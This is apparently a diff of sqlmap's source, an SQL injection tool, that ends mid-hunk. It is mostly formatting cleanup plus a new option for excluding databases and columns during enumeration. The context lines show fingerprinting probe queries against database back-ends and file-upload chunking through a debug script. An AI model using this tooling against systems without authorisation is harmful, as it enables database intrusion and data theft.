|
||||||
'iacute': 237,
|
"iacute": 237,
|
||||||
'icirc': 238,
|
"icirc": 238,
|
||||||
'iuml': 239,
|
"iuml": 239,
|
||||||
'eth': 240,
|
"eth": 240,
|
||||||
'ntilde': 241,
|
"ntilde": 241,
|
||||||
'ograve': 242,
|
"ograve": 242,
|
||||||
'oacute': 243,
|
"oacute": 243,
|
||||||
'ocirc': 244,
|
"ocirc": 244,
|
||||||
'otilde': 245,
|
"otilde": 245,
|
||||||
'ouml': 246,
|
"ouml": 246,
|
||||||
'divide': 247,
|
"divide": 247,
|
||||||
'oslash': 248,
|
"oslash": 248,
|
||||||
'ugrave': 249,
|
"ugrave": 249,
|
||||||
'uacute': 250,
|
"uacute": 250,
|
||||||
'ucirc': 251,
|
"ucirc": 251,
|
||||||
'uuml': 252,
|
"uuml": 252,
|
||||||
'yacute': 253,
|
"yacute": 253,
|
||||||
'thorn': 254,
|
"thorn": 254,
|
||||||
'yuml': 255,
|
"yuml": 255,
|
||||||
'OElig': 338,
|
"OElig": 338,
|
||||||
'oelig': 339,
|
"oelig": 339,
|
||||||
'Scaron': 352,
|
"Scaron": 352,
|
||||||
'fnof': 402,
|
"fnof": 402,
|
||||||
'scaron': 353,
|
"scaron": 353,
|
||||||
'Yuml': 376,
|
"Yuml": 376,
|
||||||
'circ': 710,
|
"circ": 710,
|
||||||
'tilde': 732,
|
"tilde": 732,
|
||||||
'Alpha': 913,
|
"Alpha": 913,
|
||||||
'Beta': 914,
|
"Beta": 914,
|
||||||
'Gamma': 915,
|
"Gamma": 915,
|
||||||
'Delta': 916,
|
"Delta": 916,
|
||||||
'Epsilon': 917,
|
"Epsilon": 917,
|
||||||
'Zeta': 918,
|
"Zeta": 918,
|
||||||
'Eta': 919,
|
"Eta": 919,
|
||||||
'Theta': 920,
|
"Theta": 920,
|
||||||
'Iota': 921,
|
"Iota": 921,
|
||||||
'Kappa': 922,
|
"Kappa": 922,
|
||||||
'Lambda': 923,
|
"Lambda": 923,
|
||||||
'Mu': 924,
|
"Mu": 924,
|
||||||
'Nu': 925,
|
"Nu": 925,
|
||||||
'Xi': 926,
|
"Xi": 926,
|
||||||
'Omicron': 927,
|
"Omicron": 927,
|
||||||
'Pi': 928,
|
"Pi": 928,
|
||||||
'Rho': 929,
|
"Rho": 929,
|
||||||
'Sigma': 931,
|
"Sigma": 931,
|
||||||
'Tau': 932,
|
"Tau": 932,
|
||||||
'Upsilon': 933,
|
"Upsilon": 933,
|
||||||
'Phi': 934,
|
"Phi": 934,
|
||||||
'Chi': 935,
|
"Chi": 935,
|
||||||
'Psi': 936,
|
"Psi": 936,
|
||||||
'Omega': 937,
|
"Omega": 937,
|
||||||
'alpha': 945,
|
"alpha": 945,
|
||||||
'beta': 946,
|
"beta": 946,
|
||||||
'gamma': 947,
|
"gamma": 947,
|
||||||
'delta': 948,
|
"delta": 948,
|
||||||
'epsilon': 949,
|
"epsilon": 949,
|
||||||
'zeta': 950,
|
"zeta": 950,
|
||||||
'eta': 951,
|
"eta": 951,
|
||||||
'theta': 952,
|
"theta": 952,
|
||||||
'iota': 953,
|
"iota": 953,
|
||||||
'kappa': 954,
|
"kappa": 954,
|
||||||
'lambda': 955,
|
"lambda": 955,
|
||||||
'mu': 956,
|
"mu": 956,
|
||||||
'nu': 957,
|
"nu": 957,
|
||||||
'xi': 958,
|
"xi": 958,
|
||||||
'omicron': 959,
|
"omicron": 959,
|
||||||
'pi': 960,
|
"pi": 960,
|
||||||
'rho': 961,
|
"rho": 961,
|
||||||
'sigmaf': 962,
|
"sigmaf": 962,
|
||||||
'sigma': 963,
|
"sigma": 963,
|
||||||
'tau': 964,
|
"tau": 964,
|
||||||
'upsilon': 965,
|
"upsilon": 965,
|
||||||
'phi': 966,
|
"phi": 966,
|
||||||
'chi': 967,
|
"chi": 967,
|
||||||
'psi': 968,
|
"psi": 968,
|
||||||
'omega': 969,
|
"omega": 969,
|
||||||
'thetasym': 977,
|
"thetasym": 977,
|
||||||
'upsih': 978,
|
"upsih": 978,
|
||||||
'piv': 982,
|
"piv": 982,
|
||||||
'bull': 8226,
|
"bull": 8226,
|
||||||
'hellip': 8230,
|
"hellip": 8230,
|
||||||
'prime': 8242,
|
"prime": 8242,
|
||||||
'Prime': 8243,
|
"Prime": 8243,
|
||||||
'oline': 8254,
|
"oline": 8254,
|
||||||
'frasl': 8260,
|
"frasl": 8260,
|
||||||
'ensp': 8194,
|
"ensp": 8194,
|
||||||
'emsp': 8195,
|
"emsp": 8195,
|
||||||
'thinsp': 8201,
|
"thinsp": 8201,
|
||||||
'zwnj': 8204,
|
"zwnj": 8204,
|
||||||
'zwj': 8205,
|
"zwj": 8205,
|
||||||
'lrm': 8206,
|
"lrm": 8206,
|
||||||
'rlm': 8207,
|
"rlm": 8207,
|
||||||
'ndash': 8211,
|
"ndash": 8211,
|
||||||
'mdash': 8212,
|
"mdash": 8212,
|
||||||
'lsquo': 8216,
|
"lsquo": 8216,
|
||||||
'rsquo': 8217,
|
"rsquo": 8217,
|
||||||
'sbquo': 8218,
|
"sbquo": 8218,
|
||||||
'ldquo': 8220,
|
"ldquo": 8220,
|
||||||
'rdquo': 8221,
|
"rdquo": 8221,
|
||||||
'bdquo': 8222,
|
"bdquo": 8222,
|
||||||
'dagger': 8224,
|
"dagger": 8224,
|
||||||
'Dagger': 8225,
|
"Dagger": 8225,
|
||||||
'permil': 8240,
|
"permil": 8240,
|
||||||
'lsaquo': 8249,
|
"lsaquo": 8249,
|
||||||
'rsaquo': 8250,
|
"rsaquo": 8250,
|
||||||
'euro': 8364,
|
"euro": 8364,
|
||||||
'weierp': 8472,
|
"weierp": 8472,
|
||||||
'image': 8465,
|
"image": 8465,
|
||||||
'real': 8476,
|
"real": 8476,
|
||||||
'trade': 8482,
|
"trade": 8482,
|
||||||
'alefsym': 8501,
|
"alefsym": 8501,
|
||||||
'larr': 8592,
|
"larr": 8592,
|
||||||
'uarr': 8593,
|
"uarr": 8593,
|
||||||
'rarr': 8594,
|
"rarr": 8594,
|
||||||
'darr': 8595,
|
"darr": 8595,
|
||||||
'harr': 8596,
|
"harr": 8596,
|
||||||
'crarr': 8629,
|
"crarr": 8629,
|
||||||
'lArr': 8656,
|
"lArr": 8656,
|
||||||
'uArr': 8657,
|
"uArr": 8657,
|
||||||
'rArr': 8658,
|
"rArr": 8658,
|
||||||
'dArr': 8659,
|
"dArr": 8659,
|
||||||
'hArr': 8660,
|
"hArr": 8660,
|
||||||
'forall': 8704,
|
"forall": 8704,
|
||||||
'part': 8706,
|
"part": 8706,
|
||||||
'exist': 8707,
|
"exist": 8707,
|
||||||
'empty': 8709,
|
"empty": 8709,
|
||||||
'nabla': 8711,
|
"nabla": 8711,
|
||||||
'isin': 8712,
|
"isin": 8712,
|
||||||
'notin': 8713,
|
"notin": 8713,
|
||||||
'ni': 8715,
|
"ni": 8715,
|
||||||
'prod': 8719,
|
"prod": 8719,
|
||||||
'sum': 8721,
|
"sum": 8721,
|
||||||
'minus': 8722,
|
"minus": 8722,
|
||||||
'lowast': 8727,
|
"lowast": 8727,
|
||||||
'radic': 8730,
|
"radic": 8730,
|
||||||
'prop': 8733,
|
"prop": 8733,
|
||||||
'infin': 8734,
|
"infin": 8734,
|
||||||
'ang': 8736,
|
"ang": 8736,
|
||||||
'and': 8743,
|
"and": 8743,
|
||||||
'or': 8744,
|
"or": 8744,
|
||||||
'cap': 8745,
|
"cap": 8745,
|
||||||
'cup': 8746,
|
"cup": 8746,
|
||||||
'int': 8747,
|
"int": 8747,
|
||||||
'there4': 8756,
|
"there4": 8756,
|
||||||
'sim': 8764,
|
"sim": 8764,
|
||||||
'cong': 8773,
|
"cong": 8773,
|
||||||
'asymp': 8776,
|
"asymp": 8776,
|
||||||
'ne': 8800,
|
"ne": 8800,
|
||||||
'equiv': 8801,
|
"equiv": 8801,
|
||||||
'le': 8804,
|
"le": 8804,
|
||||||
'ge': 8805,
|
"ge": 8805,
|
||||||
'sub': 8834,
|
"sub": 8834,
|
||||||
'sup': 8835,
|
"sup": 8835,
|
||||||
'nsub': 8836,
|
"nsub": 8836,
|
||||||
'sube': 8838,
|
"sube": 8838,
|
||||||
'supe': 8839,
|
"supe": 8839,
|
||||||
'oplus': 8853,
|
"oplus": 8853,
|
||||||
'otimes': 8855,
|
"otimes": 8855,
|
||||||
'perp': 8869,
|
"perp": 8869,
|
||||||
'sdot': 8901,
|
"sdot": 8901,
|
||||||
'lceil': 8968,
|
"lceil": 8968,
|
||||||
'rceil': 8969,
|
"rceil": 8969,
|
||||||
'lfloor': 8970,
|
"lfloor": 8970,
|
||||||
'rfloor': 8971,
|
"rfloor": 8971,
|
||||||
'lang': 9001,
|
"lang": 9001,
|
||||||
'rang': 9002,
|
"rang": 9002,
|
||||||
'loz': 9674,
|
"loz": 9674,
|
||||||
'spades': 9824,
|
"spades": 9824,
|
||||||
'clubs': 9827,
|
"clubs": 9827,
|
||||||
'hearts': 9829,
|
"hearts": 9829,
|
||||||
'diams': 9830,
|
"diams": 9830,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -62,8 +62,7 @@ class ProgressBar(object):
|
|||||||
elif numHashes == allFull:
|
elif numHashes == allFull:
|
||||||
self._progBar = "[%s]" % ("=" * allFull)
|
self._progBar = "[%s]" % ("=" * allFull)
|
||||||
else:
|
else:
|
||||||
self._progBar = "[%s>%s]" % ("=" * (numHashes - 1),
|
self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes))
|
||||||
" " * (allFull - numHashes))
|
|
||||||
|
|
||||||
# Add the percentage at the beginning of the progress bar
|
# Add the percentage at the beginning of the progress bar
|
||||||
percentString = getUnicode(percentDone) + "%"
|
percentString = getUnicode(percentDone) + "%"
|
||||||
|
|||||||
+1
-1
@@ -187,5 +187,5 @@ def search(dork):
|
|||||||
finally:
|
finally:
|
||||||
kb.redirectChoice = popValue()
|
kb.redirectChoice = popValue()
|
||||||
|
|
||||||
def setHTTPHandlers(): # Cross-linked function
|
def setHTTPHandlers(): # Cross-referenced function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|||||||
@@ -46,7 +46,7 @@ class SQLAlchemy(GenericConnector):
|
|||||||
try:
|
try:
|
||||||
if not self.port and self.db:
|
if not self.port and self.db:
|
||||||
if not os.path.exists(self.db):
|
if not os.path.exists(self.db):
|
||||||
raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db
|
raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
|
||||||
|
|
||||||
_ = conf.direct.split("//", 1)
|
_ = conf.direct.split("//", 1)
|
||||||
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
|
conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
|
||||||
|
|||||||
@@ -20,4 +20,4 @@ except ImportError:
|
|||||||
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
|
errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
|
||||||
errMsg += "most likely because current version of Python has been "
|
errMsg += "most likely because current version of Python has been "
|
||||||
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
|
errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
|
||||||
exit(errMsg)
|
exit(errMsg)
|
||||||
|
|||||||
+1
-1
@@ -69,7 +69,7 @@ class xrange(object):
|
|||||||
if isinstance(index, slice):
|
if isinstance(index, slice):
|
||||||
start, stop, step = index.indices(self._len())
|
start, stop, step = index.indices(self._len())
|
||||||
return xrange(self._index(start),
|
return xrange(self._index(start),
|
||||||
self._index(stop), step*self.step)
|
self._index(stop), step * self.step)
|
||||||
elif isinstance(index, (int, long)):
|
elif isinstance(index, (int, long)):
|
||||||
if index < 0:
|
if index < 0:
|
||||||
fixed_index = index + self._len()
|
fixed_index = index + self._len()
|
||||||
|
|||||||
@@ -48,11 +48,12 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
# Microsoft Access table reference updated on 01/2010
|
# Microsoft Access table reference updated on 01/2010
|
||||||
sysTables = {
|
sysTables = {
|
||||||
"97": ("MSysModules2", "MSysAccessObjects"),
|
"97": ("MSysModules2", "MSysAccessObjects"),
|
||||||
"2000" : ("!MSysModules2", "MSysAccessObjects"),
|
"2000": ("!MSysModules2", "MSysAccessObjects"),
|
||||||
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
|
"2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
|
||||||
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
|
"2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
|
||||||
}
|
}
|
||||||
|
|
||||||
# MSysAccessXML is not a reliable system table because it doesn't always exist
|
# MSysAccessXML is not a reliable system table because it doesn't always exist
|
||||||
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
|
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
|
||||||
|
|
||||||
|
|||||||
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
|
|||||||
except ibm_db_dbi.OperationalError, msg:
|
except ibm_db_dbi.OperationalError, msg:
|
||||||
raise SqlmapConnectionException(msg)
|
raise SqlmapConnectionException(msg)
|
||||||
|
|
||||||
|
|
||||||
self.initCursor()
|
self.initCursor()
|
||||||
self.printConnected()
|
self.printConnected()
|
||||||
|
|
||||||
|
|||||||
@@ -64,9 +64,9 @@ class Fingerprint(GenericFingerprint):
|
|||||||
value += DBMS.DB2
|
value += DBMS.DB2
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
@@ -127,12 +127,14 @@ class Fingerprint(GenericFingerprint):
|
|||||||
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
|
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
versions = { "2003": ("5.2", (2, 1)),
|
versions = {
|
||||||
|
"2003": ("5.2", (2, 1)),
|
||||||
"2008": ("7.0", (1,)),
|
"2008": ("7.0", (1,)),
|
||||||
"2000": ("5.0", (4, 3, 2, 1)),
|
"2000": ("5.0", (4, 3, 2, 1)),
|
||||||
"7": ("6.1", (1, 0)),
|
"7": ("6.1", (1, 0)),
|
||||||
"XP": ("5.1", (2, 1)),
|
"XP": ("5.1", (2, 1)),
|
||||||
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1))
|
||||||
|
}
|
||||||
|
|
||||||
# Get back-end DBMS underlying operating system version
|
# Get back-end DBMS underlying operating system version
|
||||||
for version, data in versions.items():
|
for version, data in versions.items():
|
||||||
|
|||||||
@@ -39,8 +39,8 @@ class Connector(GenericConnector):
|
|||||||
self.checkFileDb()
|
self.checkFileDb()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \
|
# Reference: http://www.daniweb.com/forums/thread248499.html
|
||||||
user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html
|
self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
|
||||||
except kinterbasdb.OperationalError, msg:
|
except kinterbasdb.OperationalError, msg:
|
||||||
raise SqlmapConnectionException(msg[1])
|
raise SqlmapConnectionException(msg[1])
|
||||||
|
|
||||||
|
|||||||
@@ -68,12 +68,12 @@ class Fingerprint(GenericFingerprint):
|
|||||||
def _sysTablesCheck(self):
|
def _sysTablesCheck(self):
|
||||||
retVal = None
|
retVal = None
|
||||||
table = (
|
table = (
|
||||||
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
|
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
|
||||||
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
|
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
|
||||||
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
|
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
|
||||||
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
|
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
|
||||||
# TODO: add test for Firebird 2.5
|
# TODO: add test for Firebird 2.5
|
||||||
)
|
)
|
||||||
|
|
||||||
for i in xrange(len(table)):
|
for i in xrange(len(table)):
|
||||||
version, checks = table[i]
|
version, checks = table[i]
|
||||||
|
|||||||
@@ -46,11 +46,8 @@ class Connector(GenericConnector):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
driver = 'org.hsqldb.jdbc.JDBCDriver'
|
driver = 'org.hsqldb.jdbc.JDBCDriver'
|
||||||
connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
|
connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
|
||||||
self.connector = jaydebeapi.connect(driver,
|
self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
|
||||||
connection_string,
|
|
||||||
str(self.user),
|
|
||||||
str(self.password))
|
|
||||||
except Exception, msg:
|
except Exception, msg:
|
||||||
raise SqlmapConnectionException(msg[0])
|
raise SqlmapConnectionException(msg[0])
|
||||||
|
|
||||||
@@ -70,7 +67,7 @@ class Connector(GenericConnector):
|
|||||||
try:
|
try:
|
||||||
self.cursor.execute(query)
|
self.cursor.execute(query)
|
||||||
retVal = True
|
retVal = True
|
||||||
except Exception, msg: #todo fix with specific error
|
except Exception, msg: # TODO: fix with specific error
|
||||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||||
|
|
||||||
self.connector.commit()
|
self.connector.commit()
|
||||||
|
|||||||
@@ -125,9 +125,12 @@ class Fingerprint(GenericFingerprint):
|
|||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB
|
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
dbgMsg = "...or version is < 1.7.2"
|
||||||
|
logger.debug(dbgMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def getHostname(self):
|
def getHostname(self):
|
||||||
|
|||||||
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
|
|||||||
except ibm_db_dbi.OperationalError, msg:
|
except ibm_db_dbi.OperationalError, msg:
|
||||||
raise SqlmapConnectionException(msg)
|
raise SqlmapConnectionException(msg)
|
||||||
|
|
||||||
|
|
||||||
self.initCursor()
|
self.initCursor()
|
||||||
self.printConnected()
|
self.printConnected()
|
||||||
|
|
||||||
|
|||||||
@@ -41,4 +41,4 @@ class Syntax(GenericSyntax):
|
|||||||
for _ in excluded.items():
|
for _ in excluded.items():
|
||||||
retVal = retVal.replace(_[1], _[0])
|
retVal = retVal.replace(_[1], _[0])
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|
||||||
elif conf.db is not None:
|
elif conf.db is not None:
|
||||||
if ',' in conf.db:
|
if ',' in conf.db:
|
||||||
errMsg = "only one database name is allowed when enumerating "
|
errMsg = "only one database name is allowed when enumerating "
|
||||||
errMsg += "the tables' columns"
|
errMsg += "the tables' columns"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
@@ -120,8 +120,8 @@ class Enumeration(GenericEnumeration):
|
|||||||
else:
|
else:
|
||||||
colList = []
|
colList = []
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
for col in colList:
|
for col in colList:
|
||||||
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
|
||||||
@@ -184,9 +184,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
rootQuery = queries[DBMS.MAXDB].columns
|
rootQuery = queries[DBMS.MAXDB].columns
|
||||||
|
|
||||||
for tbl in tblList:
|
for tbl in tblList:
|
||||||
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
|
if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]:
|
||||||
and conf.db in kb.data.cachedColumns and tbl in \
|
|
||||||
kb.data.cachedColumns[conf.db]:
|
|
||||||
infoMsg = "fetched tables' columns on "
|
infoMsg = "fetched tables' columns on "
|
||||||
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ from lib.core.common import isNumPosStrValue
|
|||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
from lib.core.common import safeStringFormat
|
from lib.core.common import safeStringFormat
|
||||||
|
from lib.core.common import singleTimeLogMessage
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -94,8 +95,12 @@ class Enumeration(GenericEnumeration):
|
|||||||
for db in dbs:
|
for db in dbs:
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
infoMsg = "skipping system database '%s'" % db
|
infoMsg = "skipping system database '%s'" % db
|
||||||
logger.info(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if conf.exclude and db in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping database '%s'" % db
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
|
for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
|
||||||
@@ -113,8 +118,12 @@ class Enumeration(GenericEnumeration):
|
|||||||
for db in dbs:
|
for db in dbs:
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
infoMsg = "skipping system database '%s'" % db
|
infoMsg = "skipping system database '%s'" % db
|
||||||
logger.info(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if conf.exclude and db in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping database '%s'" % db
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
@@ -199,8 +208,12 @@ class Enumeration(GenericEnumeration):
|
|||||||
|
|
||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
infoMsg = "skipping system database '%s'" % db
|
infoMsg = "skipping system database '%s'" % db
|
||||||
logger.info(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
|
if conf.exclude and db in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping database '%s'" % db
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
@@ -271,8 +284,8 @@ class Enumeration(GenericEnumeration):
|
|||||||
infoMsgDb = ""
|
infoMsgDb = ""
|
||||||
colList = conf.col.split(',')
|
colList = conf.col.split(',')
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
origTbl = conf.tbl
|
origTbl = conf.tbl
|
||||||
origDb = conf.db
|
origDb = conf.db
|
||||||
@@ -318,8 +331,7 @@ class Enumeration(GenericEnumeration):
|
|||||||
_ = conf.db.split(',')
|
_ = conf.db.split(',')
|
||||||
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
||||||
elif conf.excludeSysDbs:
|
elif conf.excludeSysDbs:
|
||||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||||
logger.info(msg)
|
|
||||||
else:
|
else:
|
||||||
infoMsgDb = " across all databases"
|
infoMsgDb = " across all databases"
|
||||||
|
|
||||||
@@ -334,6 +346,9 @@ class Enumeration(GenericEnumeration):
|
|||||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if conf.exclude and db in conf.exclude.split(','):
|
||||||
|
continue
|
||||||
|
|
||||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||||
query = rootQuery.inband.query % (db, db, db, db, db, db)
|
query = rootQuery.inband.query % (db, db, db, db, db, db)
|
||||||
query += " AND %s" % colQuery.replace("[DB]", db)
|
query += " AND %s" % colQuery.replace("[DB]", db)
|
||||||
@@ -353,16 +368,16 @@ class Enumeration(GenericEnumeration):
|
|||||||
if foundTbl not in dbs[db]:
|
if foundTbl not in dbs[db]:
|
||||||
dbs[db][foundTbl] = {}
|
dbs[db][foundTbl] = {}
|
||||||
|
|
||||||
if colConsider == "1":
|
if colConsider == '1':
|
||||||
conf.db = db
|
conf.db = db
|
||||||
conf.tbl = foundTbl
|
conf.tbl = foundTbl
|
||||||
conf.col = column
|
conf.col = column
|
||||||
|
|
||||||
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
|
self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
|
||||||
|
|
||||||
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
|
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
|
||||||
and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
|
|
||||||
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
|
dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
|
||||||
|
|
||||||
kb.data.cachedColumns = {}
|
kb.data.cachedColumns = {}
|
||||||
else:
|
else:
|
||||||
dbs[db][foundTbl][column] = None
|
dbs[db][foundTbl][column] = None
|
||||||
|
|||||||
@@ -73,10 +73,13 @@ class Filesystem(GenericFilesystem):
|
|||||||
|
|
||||||
logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
|
